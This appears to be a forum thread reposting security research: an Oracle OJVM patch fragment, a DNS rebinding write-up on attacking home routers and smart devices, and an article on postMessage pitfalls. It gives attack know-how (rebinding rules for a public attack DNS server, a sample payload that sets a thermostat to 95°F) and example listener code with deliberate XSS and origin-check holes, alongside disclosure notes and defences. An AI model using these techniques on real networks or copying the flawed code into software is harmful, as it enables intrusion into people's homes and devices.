the patch is for the OJVM system. For this POC, the proper patch is OJVM release update 12.2.0.1.180717 (p27923353_122010_Linux-x86-64.zip) Sursa: http://obtruse.syfrtext.com/2018/07/oracle-privilege-escalation-via.html
-
- 1
-
-
Attacking Private Networks from the Internet with DNS Rebinding TL;DR Following the wrong link could allow remote attackers to control your WiFi router, Google Home, Roku, Sonos speakers, home thermostats and more. The home WiFi network is a sacred place; your own local neighborhood of cyberspace. There we connect our phones, laptops, and “smart” devices to each other and to the Internet and in turn we improve our lives, or so we are told. By the late twenty teens, our local networks have become populated by a growing number of devices. From smart TVs and media players to home assistants, security cameras, refrigerators, door locks and thermostats, our home networks are a haven for trusted personal and domestic devices. Many of these devices offer limited or non-existent authentication to access and control their services. They inherently trust other machines on the network in the same way that you would inherently trust someone you’ve allowed into your home. They use protocols like Universal Plug and Play (UPnP) and HTTP to communicate freely between one another but are inherently protected from inbound connections from the Internet by means of their router’s firewall. They operate in a sort of walled garden, safe from external threat. Or so their developers probably thought. A few months ago, I began to follow a winding path of research into a 10 year-old network attack called DNS rebinding. Put simply, DNS rebinding allows a remote attacker to bypass a victim’s network firewall and use their web browser as a proxy to communicate directly with devices on their private home network. By following the wrong link, or being served a malicious banner advertisement, you could inadvertently provide an attacker with access to the thermostat that controls the temperature in your home. NOTE: This research has been simultaneously released with a counterpart WIRED article on the subject by Lily Hay Newman. What is DNS Rebinding? To better understand how DNS rebinding works it’s helpful to first understand the security mechanism that it evades; the web browser’s same-origin policy. Many moons ago, browser vendors decided it probably wouldn’t be a good idea for web pages served from one domain to be able to make arbitrary requests to another domain without explicit permission from that second domain. If you follow a malicious link on the web, the web page you arrive at shouldn’t be able to make an HTTP request to your bank website and leverage your logged in-session there to empty your account. Browsers restrict this behavior by limiting HTTP requests originating from a domain to access only other resources that are also located on that domain (or another domain that explicitly enables cross-origin resource sharing). DNS can be abused to trick web browsers into communicating with servers they don’t intend to. The code at http://malicious.website can’t make a standard XMLHttpRequest to http://bank.com/transfer-fund because malicious.website and bank.com are different domains and therefor the browser treats them as separate origins. Browsers enforce this by requiring that the protocol, domain name, and port number of a URL being requested is identical to the URL of the page requesting it. Sounds good, right? Not so fast. Behind every domain name lies an IP address. malicious.website may reside at 34.192.228.43 and bank.com may call 171.159.228.150 home. The Domain Name System (DNS) provides a useful mechanism of translating easy-to-remember domain names into the IP addresses that our computer’s actually use to talk to each other. The catch is that modern browsers use URLs to evaluate same-origin policy restrictions, not IP addresses. What would happen if the IP address of malicious.website were to quickly changed from 34.192.228.43 to the IP address of 171.159.228.150? According to the browser, nothing would have changed. But now, instead of communicating with the server that originally hosted the website files at malicious.website, your browser would actually be talking to bank.com. See the problem? DNS can be abused to trick web browsers into communicating with servers they don’t intend to. DNS rebinding has received a few brief moments of attention over the past year when vulnerabilities were found in a few popular pieces of software. Most notably, Blizzard’s video games, the Transmission torrent client, and several Ethereum cryptocurrency wallets were vulnerable to DNS rebinding attacks until recently. In just the wrong circumstance, the Ethereum Geth vulnerability could have given a remote attacker full-control of the victim’s Ethereum account, and with it, all of their coin. DNS rebinding allows a remote attacker to bypass a victim’s network firewall and use their web browser as a proxy to communicate directly with devices on their private home network. How DNS Rebinding works An attacker controls a malicious DNS server that answers queries for a domain, say rebind.network. The attacker tricks a user into loading http://rebind.network in their browser. There are many ways they could do this, from phishing to persistent XSS or by buying an HTML banner ad. Once the victim follows the link, their web browser makes a DNS request looking for the IP address of rebind.network. When it receives the victim’s DNS request, the attacker controlled DNS server responds with rebind.network’s real IP address, 34.192.228.43. It also sets the TTL value on the response the be 1 second so that the victim’s machine won’t cache it for long. The victim loads the web page from http://rebind.network which contains malicious JavaScript code that begins executing on the victim’s web browser. The page begins repeatedly making some strange looking POST requests to http://rebind.network/thermostatwith a JSON payload like {“tmode”: 1, “a_heat”: 95}. At first, these requests are sent to the attacker’s web server running on 34.192.228.43, but after a while (browser DNS caching is weird) the browser’s resolver observes that the DNS entry for rebind.network is stale and so it makes another DNS lookup. The attacker’s malicious DNS server receives the victim’s second DNS request, but this time it responds with the IP address 192.168.1.77, which happens to be an IP address of a smart thermostat on the victim’s local network. The victim’s machine receives this malicious DNS response and begins to point to HTTP requests intended for http://rebind.network to 192.168.1.77. As far as the browser is concerned nothing has changed and so it sends another POST to http://rebind.network/thermostat. This time, that POST request gets sent to the small unprotected web server running on the victim’s WiFi-connected thermostat. The thermostat processes the request and the temperature in the victim’s home is set to 95 degrees 🔥. This scenario is an actual exploit (CVE-2018–11315) that I’ve found and used against my Radio Thermostat CT50 “smart” thermostat. The implications and impact of an attack like this can have far reaching and devastating effects on devices or services running on a private network. By using a victim’s web browser as a sort of HTTP proxy, DNS rebinding attacks can bypass network firewalls and make every device on your protected intranet available to a remote attacker on the Internet. What’s Vulnerable? After finding and exploiting this vulnerability in the very first device that I poked around with, I feared that there were likely many other IoT devices that could also be targeted. I began to collect and borrow some of the more popular smart home devices on the market today. Over the next few weeks every device that I got my hands on fell victim to DNS rebinding in one way or another, leading to information being leaked, or in some cases, full device control. Google Home, Chromecast, Roku, Sonos WiFi speakers, and certain smart thermostats could all be interfaced with in some way by an unauthorized remote attacker. Seems like a big problem huh? The idea that the local network is a safe haven is a fallacy. If we continue to believe it people are going to get hurt. I’ve been in contact with the vendors of these products and all of them are working on or have already released security patches (more on that disclosure in this essay). Those are just the companies whose devices I’ve personally tested in my spare time. If companies with such high profiles are failing to prevent against DNS rebinding attacks there must be countless other vendors that are as well. Proof of concept DNS rebinding attack @ http://rebind.network I’ve authored a proof-of-concept exploit that you can use to target these devices on your home network today. That demo is live at http://rebind.network. Google Home Google Home Mini The apps used to control Google Home products make use of an undocumented REST API running on port 8008 of these devices (e.g. http://192.168.1.208:8008). The first mention of this service that I’ve been able to find surfaced back in 2013 when Brandon Fiquett wrote about a Local API he found while sniffing the WiFi traffic to his Chromecast. Fast forward five years and it seems that Google has integrated that same mysterious API into all of its Google Home products, and as you can imagine, that undocumented API is fairly well documented by amateurs and hobbyists at this point. In fact, earlier this year Rithvik Vibhu published detailed API docs to the public. This API provides extensive device control without any form of authentication. Some of the most interesting features include the ability to launch entertainment apps and play content, scan and join nearby WiFi networks, reboot, and even factory reset the device. Imagine a scenario where you’re browsing the web and all of a sudden your Google Home factory resets. What if your roommate left their web browser open on their laptop and an HTML advertisement sends your Chromecast into reboot loops while you are trying to watch a movie? One of my favorite attack scenarios targeting this API is an abuse of the WiFi scanning capability. Attackers could pair this information with publicly accessible wardriving data and get accurate geolocation using only your list of nearby WiFi networks. This attack would be successful even if you’ve disabled your web browser’s geolocation API and are using a VPN to tunnel your traffic through another country. Here is an example of some of the data that I’ve exfiltrated from my own Chromecast. Can you figure out where I might be writing this post from? UPDATE (06/19/2018): Craig Young's simultaneous and independent research on this vulnerability was disclosed yesterday, just ahead of this post. He actually created a PoC for the geolocation attack scenario that I described above, but never implemented! His work, and Brian Kreb's commentary on it are both excellent 👏👏👏. I notified Google about this vulnerability when I discovered it in March and again in April after receiving no response. According to Kreb's post, Young reported the bug to Google in May and his ticket was closed with "Status: Won’t Fix (Intended Behavior)." It wasn't until Krebs himself contacted Google that they agreed to patch the vulnerability. Google is expected to release a patch in mid-July 2018. Sonos WiFi Speakers Sonos Play:1 Like Google Home, Sonos WiFi speakers can also be controlled by a remote attacker (CVE-2018–11316). By following the wrong link you could find your pleasant evening jazz play list interrupted by content of a very different sort. That’s fun for simple pranks, but ultimately pretty harmless, right? After a bit of digging I found a few other interesting links to be followed on the Sonos UPnP web server that might not be so innocent. It appears that several hidden web pages are accessible on the device for debugging purposes. http://192.168.1.76:1400/support/review serves an XML file that appears to contain the output of several Unix commands run on the Sonos device (which itself seems to run a distribution of Linux). http://192.168.1.76:1400/tools provides a bare bones HTML form that lets you run a few of these Unix commands on the Sonos device yourself! The Sonos HTTP API allows a remote attacker to map internal and external networks using the traceroute command and probe hosts with ICMP requests with ping using simple POST requests. An attacker could use a Sonos device as a pivot point to gather useful network topology and connectivity information to be used in a follow up attack. UPDATE (06/19/2018): Sonos has published a statement along with this public release; "Upon learning about the DNS Rebinding Attack, we immediately began work on a fix that will roll out in a July software update." Roku RokuTV While exploring the network in the lounge at my work building, I found an HTTP server running on port 8060 of a RokuTV. I soon found that Roku’s External Control API provides control over basic functionality of the device, like launching apps, searching, and playing content. Interestingly, it also allows direct control over button and key presses like a virtual remote, as well as input for several sensors including an accelerometer, orientation sensor, gyroscope and even a magnetometer (why?) As you’ve probably guessed, this local API requires no authentication and can be exploited via DNS rebinding (CVE-2018–11314). I reported these findings to the Roku security team, who initially responded saying: There is no security risk to our customers’ accounts or the Roku platform with the use of this API… We are aware of web apps like http://remoku.tv that can be loaded into a browser and used to interact with the Roku on the same local network. After describing a detailed attack scenario, a security VP at the company clarified that their team does “consider this a valid threat and it is not mundane in the least.” To the team’s credit, they immediately halted the release roll out of Roku OS 8.1 and began to develop a patch, which they expected could take as long as 3–4 months if they couldn’t find a solution that worked in time for their upcoming release. After some consideration, I informed the team that I was working with a reporter at WIRED and that we were likely going to publish the research quickly. The next morning I received an email from the team that a patch had been developed and was already in the process of being pushed to over 20 million devices through a firmware update! UPDATE (06/19/2018): Roku has released a statement along with this public release; “After recently becoming aware of the DNS Rebinding issue, we created a software patch which is now rolling out to customers. Note that any potential exploitation of this vulnerability poses no security risk to our customers’ accounts, our channel partners’ content security or the Roku platform.” Radio Thermostat Radio Thermostat CT50 The Radio Thermostat CT50 & CT80 devices have by far the most consequential IoT device vulnerabilities I’ve found so far. These devices are some of the cheapest “smart” thermostats available on the market today. I purchased one to play with after being tipped off to their lack of security by CVE-2013–4860, which reported that the device had no form of authentication and could be controlled by anyone on the network. Daniel Crowley of Trustwave SpiderLabs had attempted to contact the vendor several times before ultimately publishing the vulnerability after hearing no response from the company. Unfortunately, this lack of response is a recurring theme of vulnerability disclosure over the years, especially with smaller manufacturers. I expected that the chances that the vulnerability had gone unpatched for five years was actually high, so I purchased a brand new CT50. That assumption turned out to be correct and the thermostat’s control API left the door wide open for DNS rebinding shenanigans. It’s probably pretty obvious the kind of damage that can be done if your building’s thermostat can be controlled by remote attackers. The PoC at http://rebind.network exfiltrates some basic information from the thermostat before setting the target temperature to 95° F. That temperature can be dangerous, or even deadly in the summer months to an elderly or disabled occupant. Not to mention that if your device is targeted while you’re on vacation you could return home to a whopper of a utility bill. The severity of this vulnerability, and the continued negligence by the Radio Thermostat Company of America who’ve had years to fix it, are perfect examples of why we need security regulation for IoT devices. WiFi Routers If you’ve been following all of this so far you may have already started to think of other devices on home networks that could be targeted. Would it surprise you to learn that, historically, network routers themselves are some of the most common targets to DNS rebinding attacks? Probably not. That’s because network routers hold the keys to the kingdom. Own the router and you own the network. There are two common attack vectors that I’ve seen with DNS rebinding: POSTing default credentials to a login page like http://192.168.1.1/loginto own router admin. Once the attacker has authenticated they have full device control and can configure the network as they please. Using a router’s Internet Gateway Device (IGD) interface through UPnP to configure permanent port forwarding connections and expose arbitrary UDP & TCP ports on the network to the public Internet. The first is pretty basic. Many routers ship with default login credentials and consumers never change them. Sure, maybe they will enable WPA2 and set a WiFi password, but I bet many of them don’t realize their router’s configuration panel is still accessible to anyone on the network using “admin:admin”. The second attack is even worse, a downright travesty. Somehow, in this day and age, most brand-spanking-new home routers still ship with UPnP servers enabled by default. These UPnP servers provide admin-like control over router configuration to any unauthenticated machine on the network over HTTP. Any machine on the network, or the public Internet through DNS rebinding, can use IGD/UPnP to configure a router’s DNS server, add & remove NAT and WAN port mappings, view the # of bytes sent/received on the network, and access the router’s public IP address (check out upnp-hacks.org for more info). A DNS rebinding attack that targets a router’s UPnP server can punch a hole in the victim’s firewall, leaving a permanent entry point to execute raw TCP & UDP attacks against devices on the network without being bound to the normal HTTP-only limitations of DNS rebinding attacks. They can even configure port forwarding rules that forward traffic to external IP addresses on the Internet, allowing an attacker to add a victim’s router as a node in a large network of infected routers that can be used to mask their traffic from authorities (see Akamai’s recent UPnProxy research). IGD also provides an interface to discover a router’s public IP address through a simple unauthenticated HTTP request. This functionality, combined with DNS rebinding, can be used to de-anonymize users who are otherwise attempting to mask their public IP address through a VPN or by using TOR. In my experience router vulnerability to DNS rebinding is a mixed bag. I’ve seen routers that completely block DNS rebinding attacks, routers that randomize their UPnP server port to make discovery and attack more difficult, and I’ve seen routers that are completely wide-open to the attack. I should mention though that I’ve largely stayed away from applying my DNS rebinding research to routers so far... Mostly because I’m almost too afraid to look 😨. The Walled Garden Is a Lie How is it that so many devices today could be vulnerable to an attack that was introduced over ten years ago? There are likely more reasons for this than I can explain, but I’m willing to bet money on two of them. The first is awareness. Best I can tell, DNS rebinding isn’t as popular of an attack as it should be. Sure, security nerds may have heard of it but I’d wager that very few of them have actually ever tried it. It’s historically been a sort of cumbersome and difficult to pull off attack in practice. You have to spin up a malicious DNS server in the cloud, write some custom JavaScript payload targeting a specific service, serve that to a victim on a target network, and then figure out how to use their web browser to pivot to a target machine running that service, which you probably don’t know the IP address of. There’s overhead and it’s error prone. (I’ve written some tooling to ease some of that pain. More below…) We need developers to write software that treats local private networks as if they were hostile public networks. Even if DNS rebinding becomes more popular in cybersecurity communities, that isn’t a guarantee that we’ll see a large drop in the number of vulnerable devices. That’s because security nerds aren’t the ones implementing these APIs, web developers are. Sure web developers should know that externally facing API endpoints need authorization of some kind, but there is a recurring general consensus that private networks themselves can be used to secure intranet facing APIs. Local APIs consistently offload trust and security to the private network itself. Why would your local REST API need authorization if your router has it? Entire protocols like UPnP are built around the idea that devices on the same network can trust each other. This is the root of the problem. We need developers to write software that treats local private networks as if they were hostile public networks. The idea that the local network is a safe haven is a fallacy. If we continue to believe it people are going to get hurt. Protecting against DNS Rebinding Consumers As the user of a product or service you are often at the mercy of the the people who built it. Fortunately, in the case of DNS rebinding, you have some control over protecting your network so long as you can make changes to your router’s configuration. OpenDNS Home is a free DNS service that can be configured to filter suspicious IP addresses like private IP ranges out of DNS responses. You should be able to change the DNS server your router uses from the default ISP’s DNS server to one of OpenDNS Home’s DNS servers in your router settings. If you’d prefer to control this filtering on your router itself instead of trusting a public DNS server like OpenDNS to do it, you can use Dnsmasq or opt to install libre router firmware like DD-RT on the router itself. Either of these solutions are adequate if you have control over your router, but watch out, because you may still be a target of DNS rebinding attacks whenever you are on a network that hasn’t been explicitly configured to protect against them. Developers If you’re a developer, or are involved in creating a product that has an HTTP API, there are several things you can do to protect it from DNS rebinding attacks. There are three simple solutions to choose from. The first, and simplest to implement without side-effects to your existing system, is to add “Host” header validation to your HTTP server. This header is included in all HTTP requests sent from a modern browser and it contains the host (hostname:port) of the server it is expecting to communicate with. This value can be a domain name or an IP address, but either way, the server that receives the request should validate that it’s own host matches the host being requested. Because DNS rebinding relies on the change of an underlying IP address associated with a domain name, the Host header included in a malicious HTTP request that’s been rebound to a target service will maintain the original domain name as its Host header value. A malicious POST request to your router’s login page will have a Host header value that doesn’t match your router’s hostname or IP address on the network. It would instead look like Host: malicious.website. Web servers should validate that the requested Host header matches it’s expected value exactly and respond with a 403 Forbidden HTTP status code if it doesn’t. I’ve written an NPM module that does this for Express.js web servers, but it should be pretty easy to implement in any web server or language. Another effective method of spoiling DNS rebinding attacks is to use HTTPS instead of HTTP, even for local network connections. When rebinding occurs, the service being targeted will have an SSL certificate that isn’t valid for malicious.website and so a security warning will block the request from reaching your API endpoint. This solution has the added bonus of providing extra privacy and security for your users in general with the usual benefits that come with TLS/SSL. Vendors have historically shied away from shipping IoT devices with their own TLS/SSL certificates, but the Plex media server software has tackled this problem in an interesting way by actually using DNS rebinding to issue certificates and protect their customers! Probably the best solution, albeit the one that involves the most potential disruption to your existing service, is to add some form of user authentication to your API. If your API controls real world functionality or provides access to sensitive information it should be accessible to select parties only. Period. It should not be accessible to the entire private network and therefore the public Internet as well through DNS rebinding. There is absolutely no reason that any device on the WiFi network should be able to arbitrarily control the heat in a building. People forget how easy it is to crack WPA2 WiFi. Tooling & Details To help spread awareness of DNS rebinding attacks I’ve built tooling and libraries that others can use to author their own DNS rebinding attacks. Aside from the JavaScript payload written to target a specific device or service, the process of delivering that payload, interacting with the malicious DNS server, and enumerating hosts on the victim’s private network is pretty much the same between different attack targets. To lower the barrier to entry to learn about and perform DNS rebinding attacks, I’ve open sourced: A “malicious” DNS server called whonow A front-end JavaScript library called DNS rebind toolkit Whonow DNS Server Whonow is a custom DNS server that lets you specify DNS responses and rebind rules dynamically using domain requests themselves. Here’s an example of how it works: # respond to DNS queries for this domain with 34.192.228.43 the first # time it is requested and then 192.168.1.1 every time after that. A.34.192.228.43.1time.192.168.1.1.forever.rebind.network # respond first with 34.192.228.43, then 192.168.1.1 the next five # times, and then start all over again (1, then 5, forever…) A.34.192.228.43.1time.192.168.1.1.5times.repeat.rebind.network What’s great about dynamic DNS Rebinding rules is that you don’t have to spin up your own malicious DNS server to start exploiting the browser’s same-origin policy. Instead, everyone can share the same public whonow server running on port 53 of rebind.network. You can try it now if you’d like, just use dig to query the public whonow instance. It responds to requests for *rebind.network domain names. # dig is a unix command for making DNS requests dig A.10.10.10.50.forever.rebind.network ;; QUESTION SECTION: ;10.10.10.50.forever.rebind.network. IN A ;; ANSWER SECTION: 10.10.10.50.forever.rebind.network. 1 IN A 10.10.10.50 Whonow always sets TTL values to one second so you can expect that it’s responses won’t stay in a DNS resolver’s cache for long. Whonow public server output DNS Rebind Toolkit DNS Rebind Toolkit is a utility library that automates the process of executing DNS rebinding attacks. Once you’ve written a JavaScript payload to target a specific service, DNS Rebind Toolkit can help you deploy that attack on a victim’s network. It uses a WebRTC IP address leak to discover the victim’s local IP address. It automates network subnet enumeration so that you can target devices even if you don’t know their IP addresses on the private network. It automates the DNS rebinding portion of the attack. You get a Promise that resolves once the rebind has finished. It uses whonow behind the scenes so that you don’t have to worry about the DNS server component of a DNS rebinding attack. It comes with several payloads for attacking common IoT devices and well-documented examples so that you learn to write your own exploits. Launching an attack against a Google Home device on a 192.168.1.1/24 subnet is as easy as embedding a code snippet in and index.html page. That index.html file will launch the attack, spawning one iframe for each IP address in the array passed to rebind.attack(…). Each iframe embeds payloads/google-home.html with the following JavaScript snippet: 🌐🔗 Links & Thanks 👏 Thanks to Lily Hay Newman for three months of helpful conversations leading towards her coverage of this research in WIRED. Mega-thanks to William Robertson for his help with this work, especially for letting me pwn his home network + Sonos device 🤝. I’d also like to thank the security teams at both Roku and Sonos for their swift response in developing and deploying firmware updates to protect their users against DNS rebinding attacks. Below are a collection of DNS rebinding resources I’ve found useful in my research. You might too! Stanford’s Original DNS Rebinding Research (2007) DNS Rebinding with Robert RSnake Hansen (great video) CORS, the Frontendian Luke Young’s DEFCON 25 “Achieving Reliable DNS Rebinding” Ricky Lawshae’s DEFCON 19 SOAP & UPnP Talk UPnP Hacks website Dear developers, beware of DNS Rebinding Practical Attacks with DNS Rebinding Original Blizzard Game’s DNS rebinding bug report by Tavis Ormandy DNS Security Cybersecurity Hacking Vulnerability Like what you read? Give Brannon Dorsey a round of applause. From a quick cheer to a standing ovation, clap to show how much you enjoyed this story. Brannon Dorsey Artist | Programmer | Researcher Sursa: https://medium.com/@brannondorsey/attacking-private-networks-from-the-internet-with-dns-rebinding-ea7098a2d325
-
The pitfalls of postMessage December 8, 2016 The postMessage API is an alternative to JSONP, XHR with CORS headers and other methods enabling sending data between origins. It was introduced with HTML5 and like many other cross-document features it can be a source of client-side vulnerabilities. How it works To send a message, an application simply calls the "postMessage" function on the target window it would like to send the message to: targetWindow.postMessage("hello other document!", "*"); And to receive a message, a “message” event handler can be registered on the receiving end: window.addEventListener("message", function(message){console.log(message.data)}); Pitfall 1 The first pitfall lies in the second argument of the “postMessage” function. This argument specifies which origin is allowed to receive the message. Using the wildcard “*” means that any origin is allowed to receive the message. Since the target window is located at a different origin, there is no way for the sender window to know if the target window is at the target origin when sending the message. If the target window has been navigated to another origin, the other origin would receive the data. Pitfall 2 The second pitfall lies on the receiving end. Since the listener listens for any message, an attacker could trick the application by sending a message from the attacker’s origin, which would make the receiver think it received the message from the sender’s window. To avoid this, the receiver must validate the origin of the message with the “message.origin” attribute. If regex is used to validate the origin, it’s important to escape the “.” character, since this code: //Listener on http://www.examplereceiver.com/ window.addEventListener("message", function(message){ if(/^http://www.examplesender.com$/.test(message.origin)){ console.log(message.data); } }); Would not only allow messages from “www.examplesender.com“, but also “wwwaexamplesender.com“, “wwwbexamplesender.com” etc. Pitfall 3 The third pitfall is DOM XSS by using the message in a way that the application treats it as HTML/script, for example: //Listener on http://www.examplereceiver.com/ window.addEventListener("message", function(message){ if(/^http://www\.examplesender\.com$/.test(message.origin)){ document.getElementById("message").innerHTML = message.data; } }); DOM XSS isn’t postMessage specific, but it’s something that’s present in many postMessage implementations. One reason for this could be that the receiving application expects the data to be formatted correctly, since it’s only listening for messages from http://www.examplesender.com/. But what if an attacker finds an XSS bug on http://www.examplesender.com/? That would mean that they could XSS http://www.examplereceiver.com/ as well. Not using postMessage? You might be thinking “our application doesn’t use postMessage so these issues doesn’t apply to us”. Well, a lot of third party scripts use postMessage to communicate with the third party service, so your application might be using postMessage without your knowledge. You can check if a page has a registered message listener (and which script registered it) by using Chrome Devtools, under Sources -> Global Listeners: Some third party scripts fall into these pitfalls. In the next post I will describe a postMessage vulnerability that caused XSS on over a million websites, and the technique I used to find it. References https://seclab.stanford.edu/websec/frames/post-message.pdf https://www.w3.org/TR/webmessaging/ http://caniuse.com/#feat=x-doc-messaging Author: Mathias Karlsson Security Researcher @avlidienbrunn Sursa: https://labs.detectify.com/2016/12/08/the-pitfalls-of-postmessage/
-
- 1
-
-
Am vorbit cu cel care a facut plugin-ul, i-a facut update si l-am activat. Se mai poate reproduce?